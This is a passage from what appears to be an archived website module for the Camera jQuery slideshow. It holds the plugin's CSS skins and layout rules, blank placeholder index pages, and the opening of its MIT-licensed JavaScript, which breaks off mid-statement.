top: 0; width: 100%; } .camera_date { /*background: url("../../../../templates/t3_blank/images/date-triangle.png") no-repeat scroll 10px bottom transparent;*/ display: block; float: left; left: 10px; padding: 0 0 11px; position: absolute; top: 10px; z-index: 10; } .camera_date_inner { /*color: #EEEEEE;*/ display: block; float: left; font-size: 14px; line-height: 19px; padding: 0; text-align: center; } .camera_date .dayno { background: rgba(0, 0, 0, 0.6); color: #FFFFFF; float: left; font-size: 40px; line-height: 29px; margin: 0; padding: 10px; } .camera_date .month-year { background: none repeat scroll 0 0 rgba(113, 126, 169, 0.9); color: #FFFFFF; float: left; line-height: 19px; margin: 0; padding: 5px 12px; text-transform: uppercase; } .camera_target { bottom: 0; height: 100%; left: 0; overflow: hidden; position: absolute; right: 0; text-align: left; top: 0; width: 100%; z-index: 0; } .camera_overlayer { bottom: 0; height: 100%; left: 0; overflow: hidden; position: absolute; right: 0; top: 0; width: 100%; z-index: 0; } .camera_target_content { bottom: 0; left: 0; overflow: hidden; position: absolute; right: 0; top: 0; z-index: 2; } .camera_target_content .camera_link { background: url(../images/blank.gif); display: block; height: 100%; text-decoration: none; } .camera_loader { background: #fff url(../images/camera-loader.gif) no-repeat center; background: rgba(255, 255, 255, 0.9) url(../images/camera-loader.gif) no-repeat center; border: 1px solid #ffffff; -webkit-border-radius: 18px; -moz-border-radius: 18px; border-radius: 18px; height: 36px; left: 50%; overflow: hidden; position: absolute; margin: -18px 0 0 -18px; top: 50%; width: 36px; z-index: 3; } .camera_bar { bottom: 0; left: 0; overflow: hidden; position: absolute; right: 0; top: 0; z-index: 3; } .camera_thumbs_wrap.camera_left .camera_bar, .camera_thumbs_wrap.camera_right .camera_bar { height: 100%; position: absolute; width: auto; } .camera_thumbs_wrap.camera_bottom .camera_bar, .camera_thumbs_wrap.camera_top .camera_bar { height: auto; position: absolute; width: 100%; } .camera_nav_cont { height: 65px; overflow: hidden; position: absolute; right: 9px; top: 15px; width: 120px; z-index: 4; } .camera_caption { bottom: 0; display: block; position: absolute; width: 100%; } .camera_caption a { margin: 0 10px 0 5px; color: #eee; } .camera_caption h3 a { margin: 0; } .camera_caption p { color: #ccc; } .camera_caption .resli-category, .camera_caption .resli-author { font-size: 12px; } .camera_caption > div { padding: 10px 20px; } .camerarelative { overflow: hidden; position: relative; } .imgFake { cursor: pointer; } .camera_prevThumbs { bottom: 4px; cursor: pointer; left: 0; position: absolute; top: 4px; visibility: hidden; width: 30px; z-index: 10; } .camera_prevThumbs div { background: url(../images/camera_skins.png) no-repeat -160px 0; display: block; height: 40px; margin-top: -20px; position: absolute; top: 50%; width: 30px; } .camera_nextThumbs { bottom: 4px; cursor: pointer; position: absolute; right: 0; top: 4px; visibility: hidden; width: 30px; z-index: 10; } .camera_nextThumbs div { background: url(../images/camera_skins.png) no-repeat -190px 0; display: block; height: 40px; margin-top: -20px; position: absolute; top: 50%; width: 30px; } .camera_command_wrap .hideNav { display: none; } .camera_command_wrap { left: 0; position: relative; right:0; z-index: 4; } .camera_wrap .camera_pag { display: none; } .camera_wrap .camera_pag .camera_pag_ul { list-style: none; margin: 0; padding: 0; text-align: center; } .camera_wrap .camera_pag .camera_pag_ul li { -webkit-border-radius: 8px; -moz-border-radius: 8px; border-radius: 8px; cursor: pointer; display: inline-block; height: 16px; margin: 20px 5px; position: relative; text-align: left; text-indent: -9999px; width: 16px; } .camera_commands_emboss .camera_pag .camera_pag_ul li { -moz-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); -webkit-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); } .camera_wrap .camera_pag .camera_pag_ul li > span { -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; height: 8px; left: 4px; overflow: hidden; position: absolute; top: 4px; width: 8px; } .camera_commands_emboss .camera_pag .camera_pag_ul li:hover > span { -moz-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); -webkit-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); } .camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span { -moz-box-shadow: 0; -webkit-box-shadow: 0; box-shadow: 0; } .camera_pag_ul li img { display: none; position: absolute; } .camera_pag_ul .thumb_arrow { border-left: 4px solid transparent; border-right: 4px solid transparent; border-top: 4px solid; top: 0; left: 50%; margin-left: -4px; position: absolute; } .camera_prev, .camera_next, .camera_commands { cursor: pointer; height: 40px; margin-top: -20px; position: absolute; top: 50%; width: 40px; z-index: 2; } .camera_prev { left: 0; } .camera_prev > span { background: url(../images/camera_skins.png) no-repeat 0 0; display: block; height: 40px; width: 40px; } .camera_next { right: 0; } .camera_next > span { background: url(../images/camera_skins.png) no-repeat -40px 0; display: block; height: 40px; width: 40px; } .camera_commands { right: 41px; } .camera_commands > .camera_play { background: url(../images/camera_skins.png) no-repeat -80px 0; height: 40px; width: 40px; } .camera_commands > .camera_stop { background: url(../images/camera_skins.png) no-repeat -120px 0; display: block; height: 40px; width: 40px; } .camera_wrap .camera_pag .camera_pag_ul li { -webkit-border-radius: 8px; -moz-border-radius: 8px; border-radius: 8px; cursor: pointer; display: inline-block; height: 16px; margin: 20px 5px; position: relative; text-indent: -9999px; width: 16px; } .camera_thumbs_cont { -webkit-border-bottom-right-radius: 4px; -webkit-border-bottom-left-radius: 4px; -moz-border-radius-bottomright: 4px; -moz-border-radius-bottomleft: 4px; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; overflow: hidden; position: relative; width: 100%; } .camera_commands_emboss .camera_thumbs_cont { -moz-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); -webkit-box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); box-shadow: 0px 1px 0px rgba(255,255,255,1), inset 0px 1px 1px rgba(0,0,0,0.2); } .camera_thumbs_cont > div { float: left; width: 100%; } .camera_thumbs_cont ul { overflow: hidden; padding: 3px 4px 8px; position: relative; text-align: center; } .camera_thumbs_cont ul li { display: inline; padding: 0 4px; } .camera_thumbs_cont ul li > img { border: 1px solid; cursor: pointer; margin-top: 5px; vertical-align:bottom; } .camera_clear { display: block; clear: both; } .showIt { display: none; } .camera_clear { clear: both; display: block; height: 1px; margin: -1px 0 25px; position: relative; } /************************** * * COLORS & SKINS * **************************/ .pattern_1 .camera_overlayer { background: url(../images/patterns/overlay1.png) repeat; } .pattern_2 .camera_overlayer { background: url(../images/patterns/overlay2.png) repeat; } .pattern_3 .camera_overlayer { background: url(../images/patterns/overlay3.png) repeat; } .pattern_4 .camera_overlayer { background: url(../images/patterns/overlay4.png) repeat; } .pattern_5 .camera_overlayer { background: url(../images/patterns/overlay5.png) repeat; } .pattern_6 .camera_overlayer { background: url(../images/patterns/overlay6.png) repeat; } .pattern_7 .camera_overlayer { background: url(../images/patterns/overlay7.png) repeat; } .pattern_8 .camera_overlayer { background: url(../images/patterns/overlay8.png) repeat; } .pattern_9 .camera_overlayer { background: url(../images/patterns/overlay9.png) repeat; } .pattern_10 .camera_overlayer { background: url(../images/patterns/overlay10.png) repeat; } .camera_caption { color: #fff; } .camera_caption h3 { margin: 0 0 5px; color: #eee; text-transform: uppercase; } .camera_caption > div { background: #000; background: rgba(0, 0, 0, 0.6); } .camera_wrap .camera_pag .camera_pag_ul li { background: #b7b7b7; } .camera_wrap .camera_pag .camera_pag_ul li:hover > span { background: #b7b7b7; } .camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span { background: #777; } .camera_pag_ul li img { border: 4px solid #e6e6e6; -moz-box-shadow: 0px 3px 6px rgba(0,0,0,.5); -webkit-box-shadow: 0px 3px 6px rgba(0,0,0,.5); box-shadow: 0px 3px 6px rgba(0,0,0,.5); } .camera_pag_ul .thumb_arrow { border-top-color: #e6e6e6; } .camera_prevThumbs, .camera_nextThumbs, .camera_prev, .camera_next, .camera_commands, .camera_thumbs_cont { /*background: #d8d8d8; background: rgba(216, 216, 216, 0.85);*/ background-color: rgba(0, 0, 0, 0.3); } .camera_wrap .camera_pag .camera_pag_ul li { background: #ddd; } .camera_thumbs_cont ul li > img { border-color: 1px solid #000; } /*AMBER SKIN*/ .camera_amber_skin .camera_prevThumbs div { background-position: -160px -160px; } .camera_amber_skin .camera_nextThumbs div { background-position: -190px -160px; } .camera_amber_skin .camera_prev > span { background-position: 0 -160px; } .camera_amber_skin .camera_next > span { background-position: -40px -160px; } .camera_amber_skin .camera_commands > .camera_play { background-position: -80px -160px; } .camera_amber_skin .camera_commands > .camera_stop { background-position: -120px -160px; } /*ASH SKIN*/ .camera_ash_skin .camera_prevThumbs div { background-position: -160px -200px; } .camera_ash_skin .camera_nextThumbs div { background-position: -190px -200px; } .camera_ash_skin .camera_prev > span { background-position: 0 -200px; } .camera_ash_skin .camera_next > span { background-position: -40px -200px; } .camera_ash_skin .camera_commands > .camera_play { background-position: -80px -200px; } .camera_ash_skin .camera_commands > .camera_stop { background-position: -120px -200px; } /*AZURE SKIN*/ .camera_azure_skin .camera_prevThumbs div { background-position: -160px -240px; } .camera_azure_skin .camera_nextThumbs div { background-position: -190px -240px; } .camera_azure_skin .camera_prev > span { background-position: 0 -240px; } .camera_azure_skin .camera_next > span { background-position: -40px -240px; } .camera_azure_skin .camera_commands > .camera_play { background-position: -80px -240px; } .camera_azure_skin .camera_commands > .camera_stop { background-position: -120px -240px; } /*BEIGE SKIN*/ .camera_beige_skin .camera_prevThumbs div { background-position: -160px -120px; } .camera_beige_skin .camera_nextThumbs div { background-position: -190px -120px; } .camera_beige_skin .camera_prev > span { background-position: 0 -120px; } .camera_beige_skin .camera_next > span { background-position: -40px -120px; } .camera_beige_skin .camera_commands > .camera_play { background-position: -80px -120px; } .camera_beige_skin .camera_commands > .camera_stop { background-position: -120px -120px; } /*BLACK SKIN*/ .camera_black_skin .camera_prevThumbs div { background-position: -160px -40px; } .camera_black_skin .camera_nextThumbs div { background-position: -190px -40px; } .camera_black_skin .camera_prev > span { background-position: 0 -40px; } .camera_black_skin .camera_next > span { background-position: -40px -40px; } .camera_black_skin .camera_commands > .camera_play { background-position: -80px -40px; } .camera_black_skin .camera_commands > .camera_stop { background-position: -120px -40px; } /*BLUE SKIN*/ .camera_blue_skin .camera_prevThumbs div { background-position: -160px -280px; } .camera_blue_skin .camera_nextThumbs div { background-position: -190px -280px; } .camera_blue_skin .camera_prev > span { background-position: 0 -280px; } .camera_blue_skin .camera_next > span { background-position: -40px -280px; } .camera_blue_skin .camera_commands > .camera_play { background-position: -80px -280px; } .camera_blue_skin .camera_commands > .camera_stop { background-position: -120px -280px; } /*BROWN SKIN*/ .camera_brown_skin .camera_prevThumbs div { background-position: -160px -320px; } .camera_brown_skin .camera_nextThumbs div { background-position: -190px -320px; } .camera_brown_skin .camera_prev > span { background-position: 0 -320px; } .camera_brown_skin .camera_next > span { background-position: -40px -320px; } .camera_brown_skin .camera_commands > .camera_play { background-position: -80px -320px; } .camera_brown_skin .camera_commands > .camera_stop { background-position: -120px -320px; } /*BURGUNDY SKIN*/ .camera_burgundy_skin .camera_prevThumbs div { background-position: -160px -360px; } .camera_burgundy_skin .camera_nextThumbs div { background-position: -190px -360px; } .camera_burgundy_skin .camera_prev > span { background-position: 0 -360px; } .camera_burgundy_skin .camera_next > span { background-position: -40px -360px; } .camera_burgundy_skin .camera_commands > .camera_play { background-position: -80px -360px; } .camera_burgundy_skin .camera_commands > .camera_stop { background-position: -120px -360px; } /*CHARCOAL SKIN*/ .camera_charcoal_skin .camera_prevThumbs div { background-position: -160px -400px; } .camera_charcoal_skin .camera_nextThumbs div { background-position: -190px -400px; } .camera_charcoal_skin .camera_prev > span { background-position: 0 -400px; } .camera_charcoal_skin .camera_next > span { background-position: -40px -400px; } .camera_charcoal_skin .camera_commands > .camera_play { background-position: -80px -400px; } .camera_charcoal_skin .camera_commands > .camera_stop { background-position: -120px -400px; } /*CHOCOLATE SKIN*/ .camera_chocolate_skin .camera_prevThumbs div { background-position: -160px -440px; } .camera_chocolate_skin .camera_nextThumbs div { background-position: -190px -440px; } .camera_chocolate_skin .camera_prev > span { background-position: 0 -440px; } .camera_chocolate_skin .camera_next > span { background-position: -40px -440px; } .camera_chocolate_skin .camera_commands > .camera_play { background-position: -80px -440px; } .camera_chocolate_skin .camera_commands > .camera_stop { background-position: -120px -440px ; } /*COFFEE SKIN*/ .camera_coffee_skin .camera_prevThumbs div { background-position: -160px -480px; } .camera_coffee_skin .camera_nextThumbs div { background-position: -190px -480px; } .camera_coffee_skin .camera_prev > span { background-position: 0 -480px; } .camera_coffee_skin .camera_next > span { background-position: -40px -480px; } .camera_coffee_skin .camera_commands > .camera_play { background-position: -80px -480px; } .camera_coffee_skin .camera_commands > .camera_stop { background-position: -120px -480px ; } /*CYAN SKIN*/ .camera_cyan_skin .camera_prevThumbs div { background-position: -160px -520px; } .camera_cyan_skin .camera_nextThumbs div { background-position: -190px -520px; } .camera_cyan_skin .camera_prev > span { background-position: 0 -520px; } .camera_cyan_skin .camera_next > span { background-position: -40px -520px; } .camera_cyan_skin .camera_commands > .camera_play { background-position: -80px -520px; } .camera_cyan_skin .camera_commands > .camera_stop { background-position: -120px -520px ; } /*FUCHSIA SKIN*/ .camera_fuchsia_skin .camera_prevThumbs div { background-position: -160px -560px; } .camera_fuchsia_skin .camera_nextThumbs div { background-position: -190px -560px; } .camera_fuchsia_skin .camera_prev > span { background-position: 0 -560px; } .camera_fuchsia_skin .camera_next > span { background-position: -40px -560px; } .camera_fuchsia_skin .camera_commands > .camera_play { background-position: -80px -560px; } .camera_fuchsia_skin .camera_commands > .camera_stop { background-position: -120px -560px ; } /*GOLD SKIN*/ .camera_gold_skin .camera_prevThumbs div { background-position: -160px -600px; } .camera_gold_skin .camera_nextThumbs div { background-position: -190px -600px; } .camera_gold_skin .camera_prev > span { background-position: 0 -600px; } .camera_gold_skin .camera_next > span { background-position: -40px -600px; } .camera_gold_skin .camera_commands > .camera_play { background-position: -80px -600px; } .camera_gold_skin .camera_commands > .camera_stop { background-position: -120px -600px ; } /*GREEN SKIN*/ .camera_green_skin .camera_prevThumbs div { background-position: -160px -640px; } .camera_green_skin .camera_nextThumbs div { background-position: -190px -640px; } .camera_green_skin .camera_prev > span { background-position: 0 -640px; } .camera_green_skin .camera_next > span { background-position: -40px -640px; } .camera_green_skin .camera_commands > .camera_play { background-position: -80px -640px; } .camera_green_skin .camera_commands > .camera_stop { background-position: -120px -640px ; } /*GREY SKIN*/ .camera_grey_skin .camera_prevThumbs div { background-position: -160px -680px; } .camera_grey_skin .camera_nextThumbs div { background-position: -190px -680px; } .camera_grey_skin .camera_prev > span { background-position: 0 -680px; } .camera_grey_skin .camera_next > span { background-position: -40px -680px; } .camera_grey_skin .camera_commands > .camera_play { background-position: -80px -680px; } .camera_grey_skin .camera_commands > .camera_stop { background-position: -120px -680px ; } /*INDIGO SKIN*/ .camera_indigo_skin .camera_prevThumbs div { background-position: -160px -720px; } .camera_indigo_skin .camera_nextThumbs div { background-position: -190px -720px; } .camera_indigo_skin .camera_prev > span { background-position: 0 -720px; } .camera_indigo_skin .camera_next > span { background-position: -40px -720px; } .camera_indigo_skin .camera_commands > .camera_play { background-position: -80px -720px; } .camera_indigo_skin .camera_commands > .camera_stop { background-position: -120px -720px ; } /*KHAKI SKIN*/ .camera_khaki_skin .camera_prevThumbs div { background-position: -160px -760px; } .camera_khaki_skin .camera_nextThumbs div { background-position: -190px -760px; } .camera_khaki_skin .camera_prev > span { background-position: 0 -760px; } .camera_khaki_skin .camera_next > span { background-position: -40px -760px; } .camera_khaki_skin .camera_commands > .camera_play { background-position: -80px -760px; } .camera_khaki_skin .camera_commands > .camera_stop { background-position: -120px -760px ; } /*LIME SKIN*/ .camera_lime_skin .camera_prevThumbs div { background-position: -160px -800px; } .camera_lime_skin .camera_nextThumbs div { background-position: -190px -800px; } .camera_lime_skin .camera_prev > span { background-position: 0 -800px; } .camera_lime_skin .camera_next > span { background-position: -40px -800px; } .camera_lime_skin .camera_commands > .camera_play { background-position: -80px -800px; } .camera_lime_skin .camera_commands > .camera_stop { background-position: -120px -800px ; } /*MAGENTA SKIN*/ .camera_magenta_skin .camera_prevThumbs div { background-position: -160px -840px; } .camera_magenta_skin .camera_nextThumbs div { background-position: -190px -840px; } .camera_magenta_skin .camera_prev > span { background-position: 0 -840px; } .camera_magenta_skin .camera_next > span { background-position: -40px -840px; } .camera_magenta_skin .camera_commands > .camera_play { background-position: -80px -840px; } .camera_magenta_skin .camera_commands > .camera_stop { background-position: -120px -840px ; } /*MAROON SKIN*/ .camera_maroon_skin .camera_prevThumbs div { background-position: -160px -880px; } .camera_maroon_skin .camera_nextThumbs div { background-position: -190px -880px; } .camera_maroon_skin .camera_prev > span { background-position: 0 -880px; } .camera_maroon_skin .camera_next > span { background-position: -40px -880px; } .camera_maroon_skin .camera_commands > .camera_play { background-position: -80px -880px; } .camera_maroon_skin .camera_commands > .camera_stop { background-position: -120px -880px ; } /*ORANGE SKIN*/ .camera_orange_skin .camera_prevThumbs div { background-position: -160px -920px; } .camera_orange_skin .camera_nextThumbs div { background-position: -190px -920px; } .camera_orange_skin .camera_prev > span { background-position: 0 -920px; } .camera_orange_skin .camera_next > span { background-position: -40px -920px; } .camera_orange_skin .camera_commands > .camera_play { background-position: -80px -920px; } .camera_orange_skin .camera_commands > .camera_stop { background-position: -120px -920px ; } /*OLIVE SKIN*/ .camera_olive_skin .camera_prevThumbs div { background-position: -160px -1080px; } .camera_olive_skin .camera_nextThumbs div { background-position: -190px -1080px; } .camera_olive_skin .camera_prev > span { background-position: 0 -1080px; } .camera_olive_skin .camera_next > span { background-position: -40px -1080px; } .camera_olive_skin .camera_commands > .camera_play { background-position: -80px -1080px; } .camera_olive_skin .camera_commands > .camera_stop { background-position: -120px -1080px ; } /*PINK SKIN*/ .camera_pink_skin .camera_prevThumbs div { background-position: -160px -960px; } .camera_pink_skin .camera_nextThumbs div { background-position: -190px -960px; } .camera_pink_skin .camera_prev > span { background-position: 0 -960px; } .camera_pink_skin .camera_next > span { background-position: -40px -960px; } .camera_pink_skin .camera_commands > .camera_play { background-position: -80px -960px; } .camera_pink_skin .camera_commands > .camera_stop { background-position: -120px -960px ; } /*PISTACHIO SKIN*/ .camera_pistachio_skin .camera_prevThumbs div { background-position: -160px -1040px; } .camera_pistachio_skin .camera_nextThumbs div { background-position: -190px -1040px; } .camera_pistachio_skin .camera_prev > span { background-position: 0 -1040px; } .camera_pistachio_skin .camera_next > span { background-position: -40px -1040px; } .camera_pistachio_skin .camera_commands > .camera_play { background-position: -80px -1040px; } .camera_pistachio_skin .camera_commands > .camera_stop { background-position: -120px -1040px ; } /*PINK SKIN*/ .camera_pink_skin .camera_prevThumbs div { background-position: -160px -80px; } .camera_pink_skin .camera_nextThumbs div { background-position: -190px -80px; } .camera_pink_skin .camera_prev > span { background-position: 0 -80px; } .camera_pink_skin .camera_next > span { background-position: -40px -80px; } .camera_pink_skin .camera_commands > .camera_play { background-position: -80px -80px; } .camera_pink_skin .camera_commands > .camera_stop { background-position: -120px -80px; } /*RED SKIN*/ .camera_red_skin .camera_prevThumbs div { background-position: -160px -1000px; } .camera_red_skin .camera_nextThumbs div { background-position: -190px -1000px; } .camera_red_skin .camera_prev > span { background-position: 0 -1000px; } .camera_red_skin .camera_next > span { background-position: -40px -1000px; } .camera_red_skin .camera_commands > .camera_play { background-position: -80px -1000px; } .camera_red_skin .camera_commands > .camera_stop { background-position: -120px -1000px ; } /*TANGERINE SKIN*/ .camera_tangerine_skin .camera_prevThumbs div { background-position: -160px -1120px; } .camera_tangerine_skin .camera_nextThumbs div { background-position: -190px -1120px; } .camera_tangerine_skin .camera_prev > span { background-position: 0 -1120px; } .camera_tangerine_skin .camera_next > span { background-position: -40px -1120px; } .camera_tangerine_skin .camera_commands > .camera_play { background-position: -80px -1120px; } .camera_tangerine_skin .camera_commands > .camera_stop { background-position: -120px -1120px ; } /*TURQUOISE SKIN*/ .camera_turquoise_skin .camera_prevThumbs div { background-position: -160px -1160px; } .camera_turquoise_skin .camera_nextThumbs div { background-position: -190px -1160px; } .camera_turquoise_skin .camera_prev > span { background-position: 0 -1160px; } .camera_turquoise_skin .camera_next > span { background-position: -40px -1160px; } .camera_turquoise_skin .camera_commands > .camera_play { background-position: -80px -1160px; } .camera_turquoise_skin .camera_commands > .camera_stop { background-position: -120px -1160px ; } /*VIOLET SKIN*/ .camera_violet_skin .camera_prevThumbs div { background-position: -160px -1200px; } .camera_violet_skin .camera_nextThumbs div { background-position: -190px -1200px; } .camera_violet_skin .camera_prev > span { background-position: 0 -1200px; } .camera_violet_skin .camera_next > span { background-position: -40px -1200px; } .camera_violet_skin .camera_commands > .camera_play { background-position: -80px -1200px; } .camera_violet_skin .camera_commands > .camera_stop { background-position: -120px -1200px ; } /*WHITE SKIN*/ .camera_white_skin .camera_prevThumbs div { background-position: -160px -80px; } .camera_white_skin .camera_nextThumbs div { background-position: -190px -80px; } .camera_white_skin .camera_prev > span { background-position: 0 -80px; } .camera_white_skin .camera_next > span { background-position: -40px -80px; } .camera_white_skin .camera_commands > .camera_play { background-position: -80px -80px; } .camera_white_skin .camera_commands > .camera_stop { background-position: -120px -80px; } /*YELLOW SKIN*/ .camera_yellow_skin .camera_prevThumbs div { background-position: -160px -1240px; } .camera_yellow_skin .camera_nextThumbs div { background-position: -190px -1240px; } .camera_yellow_skin .camera_prev > span { background-position: 0 -1240px; } .camera_yellow_skin .camera_next > span { background-position: -40px -1240px; } .camera_yellow_skin .camera_commands > .camera_play { background-position: -80px -1240px; } .camera_yellow_skin .camera_commands > .camera_stop { background-position: -120px -1240px ; } @media (max-width: 700px) { .resli-category , .resli-author { display: none !important; } .camera_caption p { font-size: 13px; } .camera_date span { font-size: 22px !important; padding: 5px 8px !important; } } @media (max-width: 500px) { .camera_caption p { display: none !important; } .camera_caption h3 a { font-size: 16px; } .camera_date span { display: none; } } @media (max-width: 400px) { .camera_caption h3 a { font-size: 15px; } }assets/css/index.html000060400000000054151652224050010630 0ustar00<html><body bgcolor="#FFFFFF"></body></html>assets/index.html000060400000000054151652224050010040 0ustar00<html><body bgcolor="#FFFFFF"></body></html>assets/js/index.html000060400000000054151652224050010454 0ustar00<html><body bgcolor="#FFFFFF"></body></html>assets/js/camera.js000060400000211676151652224050010263 0ustar00// Camera slideshow v1.3.3 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+ // Copyright (c) 2012 by Manuel Masia - www.pixedelic.com // Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php ;(function($){$.fn.camera = function(opts, callback) { var defaults = { alignment : 'center', //topLeft, topCenter, topRight, centerLeft, center, centerRight, bottomLeft, bottomCenter, bottomRight autoAdvance : true, //true, false mobileAutoAdvance : true, //true, false. Auto-advancing for mobile devices barDirection : 'leftToRight', //'leftToRight', 'rightToLeft', 'topToBottom', 'bottomToTop' barPosition : 'bottom', //'bottom', 'left', 'top', 'right' cols : 6, easing : 'easeInOutExpo', //for the complete list http://jqueryui.com/demos/effect/easing.html mobileEasing : '', //leave empty if you want to display the same easing on mobile devices and on desktop etc. fx : 'random', //'random','simpleFade', 'curtainTopLeft', 'curtainTopRight', 'curtainBottomLeft', 'curtainBottomRight', 'curtainSliceLeft', 'curtainSliceRight', 'blindCurtainTopLeft', 'blindCurtainTopRight', 'blindCurtainBottomLeft', 'blindCurtainBottomRight', 'blindCurtainSliceBottom', 'blindCurtainSliceTop', 'stampede', 'mosaic', 'mosaicReverse', 'mosaicRandom', 'mosaicSpiral', 'mosaicSpiralReverse', 'topLeftBottomRight', 'bottomRightTopLeft', 'bottomLeftTopRight', 'bottomLeftTopRight' //you can also use more than one effect, just separate them with commas: 'simpleFade, scrollRight, scrollBottom' mobileFx : '', //leave empty if you want to display the same effect on mobile devices and on desktop etc. gridDifference : 250, //to make the grid blocks slower than the slices, this value must be smaller than transPeriod height : '50%', //here you can type pixels (for instance '300px'), a percentage (relative to the width of the slideshow, for instance '50%') or 'auto' imagePath : 'images/', //he path to the image folder (it serves for the blank.gif, when you want to display videos) hover : true, //true, false. Puase on state hover. Not available for mobile devices loader : 'pie', //pie, bar, none (even if you choose "pie", old browsers like IE8- can't display it... they will display always a loading bar) loaderColor : '#eeeeee', loaderBgColor : '#222222', loaderOpacity : .8, //0, .1, .2, .3, .4, .5, .6, .7, .8, .9, 1 loaderPadding : 2, //how many empty pixels you want to display between the loader and its background loaderStroke : 7, //the thickness both of the pie loader and of the bar loader. Remember: for the pie, the loader thickness must be less than a half of the pie diameter minHeight : '200px', //you can also leave it blank navigation : true, //true or false, to display or not the navigation buttons navigationHover : true, //if true the navigation button (prev, next and play/stop buttons) will be visible on hover state only, if false they will be visible always mobileNavHover : true, //same as above, but only for mobile devices opacityOnGrid : false, //true, false. Decide to apply a fade effect to blocks and slices: if your slideshow is fullscreen or simply big, I recommend to set it false to have a smoother effect overlayer : true, //a layer on the images to prevent the users grab them simply by clicking the right button of their mouse (.camera_overlayer) pagination : true, playPause : true, //true or false, to display or not the play/pause buttons pauseOnClick : true, //true, false. It stops the slideshow when you click the sliders. pieDiameter : 38, piePosition : 'rightTop', //'rightTop', 'leftTop', 'leftBottom', 'rightBottom' portrait : false, //true, false. Select true if you don't want that your images are cropped rows : 4, slicedCols : 12, //if 0 the same value of cols slicedRows : 8, //if 0 the same value of rows slideOn : 'random', //next, prev, random: decide if the transition effect will be applied to the current (prev) or the next slide thumbnails : false, time : 7000, //milliseconds between the end of the sliding effect and the start of the nex one transPeriod : 1500, //lenght of the sliding effect in milliseconds ////////callbacks onEndTransition : function() { }, //this callback is invoked when the transition effect ends onLoaded : function() { }, //this callback is invoked when the image on a slide has completely loaded onStartLoading : function() { }, //this callback is invoked when the image on a slide start loading onStartTransition : function() { } //this callback is invoked when the transition effect starts }; function isMobile() { if( navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/webOS/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i) ){ return true; } } var opts = $.extend({}, defaults, opts); var wrap = $(this).addClass('camera_wrap'); wrap.wrapInner( '<div class="camera_src" />' ).wrapInner( '<div class="camera_fakehover" />' ); var fakeHover = $('.camera_fakehover',wrap); fakeHover.append( '<div class="camera_target"></div>' ); if(opts.overlayer == true){ fakeHover.append( '<div class="camera_overlayer"></div>' ) } fakeHover.append( '<div class="camera_target_content"></div>' ); var loader; if(opts.loader=='pie' && $.browser.msie && $.browser.version < 9){ loader = 'bar'; } else { loader = opts.loader; } if(loader == 'pie'){ fakeHover.append( '<div class="camera_pie"></div>' ) } else if (loader == 'bar') { fakeHover.append( '<div class="camera_bar"></div>' ) } else { fakeHover.append( '<div class="camera_bar" style="display:none"></div>' ) } if(opts.playPause==true){ fakeHover.append( '<div class="camera_commands"></div>' ) } if(opts.navigation==true){ fakeHover.append( '<div class="camera_prev"><span></span></div>' ).append( '<div class="camera_next"><span></span></div>' ); } if(opts.thumbnails==true){ wrap.append( '<div class="camera_thumbs_cont" />' ); } if(opts.thumbnails==true && opts.pagination!=true){ $('.camera_thumbs_cont',wrap).wrap( '<div />' ).wrap( '<div class="camera_thumbs" />' ).wrap( '<div />' ).wrap( '<div class="camera_command_wrap" />' ); } if(opts.pagination==true){ wrap.append( '<div class="camera_pag"></div>' ); } wrap.append( '<div class="camera_loader"></div>' ); $('.camera_caption',wrap).each(function(){ $(this).wrapInner('<div />'); }); var pieID = 'pie_'+wrap.index(), elem = $('.camera_src',wrap), target = $('.camera_target',wrap), content = $('.camera_target_content',wrap), pieContainer = $('.camera_pie',wrap), barContainer = $('.camera_bar',wrap), prevNav = $('.camera_prev',wrap), nextNav = $('.camera_next',wrap), commands = $('.camera_commands',wrap), pagination = $('.camera_pag',wrap), thumbs = $('.camera_thumbs_cont',wrap); var w, h; var allImg = new Array(); $('> div', elem).each( function() { allImg.push($(this).attr('data-src')); }); var allLinks = new Array(); $('> div', elem).each( function() { if($(this).attr('data-link')){ allLinks.push($(this).attr('data-link')); } else { allLinks.push(''); } }); var allTargets = new Array(); $('> div', elem).each( function() { if($(this).attr('data-target')){ allTargets.push($(this).attr('data-target')); } else { allTargets.push(''); } }); var allPor = new Array(); $('> div', elem).each( function() { if($(this).attr('data-portrait')){ allPor.push($(this).attr('data-portrait')); } else { allPor.push(''); } }); var allAlign= new Array(); $('> div', elem).each( function() { if($(this).attr('data-alignment')){ allAlign.push($(this).attr('data-alignment')); } else { allAlign.push(''); } }); var allThumbs = new Array(); $('> div', elem).each( function() { if($(this).attr('data-thumb')){ allThumbs.push($(this).attr('data-thumb')); } else { allThumbs.push(''); } }); var amountSlide = allImg.length; $(content).append('<div class="cameraContents" />'); var loopMove; for (loopMove=0;loopMove<amountSlide;loopMove++) { $('.cameraContents',content).append('<div class="cameraContent" />'); if(allLinks[loopMove]!=''){ //only for Wordpress plugin var dataBox = $('> div ',elem).eq(loopMove).attr('data-box'); if(typeof dataBox !== 'undefined' && dataBox !== false && dataBox != '') { dataBox = 'data-box="'+$('> div ',elem).eq(loopMove).attr('data-box')+'"'; } else { dataBox = ''; } // $('.camera_target_content .cameraContent:eq('+loopMove+')',wrap).append('<a class="camera_link" href="'+allLinks[loopMove]+'" '+dataBox+' target="'+allTargets[loopMove]+'"></a>'); } } $('.camera_caption',wrap).each(function(){ var ind = 